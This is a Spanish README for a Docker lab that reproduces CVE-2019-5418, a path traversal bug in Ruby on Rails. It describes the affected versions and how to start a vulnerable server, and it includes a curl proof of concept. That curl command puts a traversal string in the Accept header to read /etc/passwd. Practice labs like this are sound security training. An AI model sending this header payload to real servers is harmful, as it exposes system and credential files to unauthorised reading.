
Entorno de laboratorio basado en Docker para el exploit de recorrido de ruta de Ruby on Rails CVE-2019-5418, con comandos curl PoC para leer archivos arbitrarios del servidor mediante cabeceras Accept manipuladas.
Este proyecto es un entorno para practicar y reproducir la vulnerabilidad de inclusión de archivos locales (CVE-2019-5418) en Ruby on Rails. Esta vulnerabilidad permite leer cualquier archivo dentro del servidor mediante la navegación de rutas a través del encabezado Accept.
Ruby on Rails es un marco de aplicación web que permite a los desarrolladores construir aplicaciones web de forma rápida y sencilla.
Las versiones de Ruby on Rails (vista de trabajo) <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 y v3 contienen una vulnerabilidad de inclusión de archivos locales.
Cuando se usa render file en un controlador para renderizar una vista fuera de la aplicación, Rails determina la ubicación del archivo basándose en el encabezado Accept proporcionado por el usuario. Al enviar un encabezado Accept con el valor Accept: ../../../../../../../../etc/passwd{{, un atacante puede explotar la vulnerabilidad de navegación de rutas para leer archivos arbitrarios.
Ejecute los siguientes comandos para compilar e iniciar Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
Una vez que el servidor esté en funcionamiento, puede visitar la página de Ruby on Rails en http://your-ip:3000.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

Se ha leído exitosamente un archivo arbitrario del servidor a través del encabezado Accept.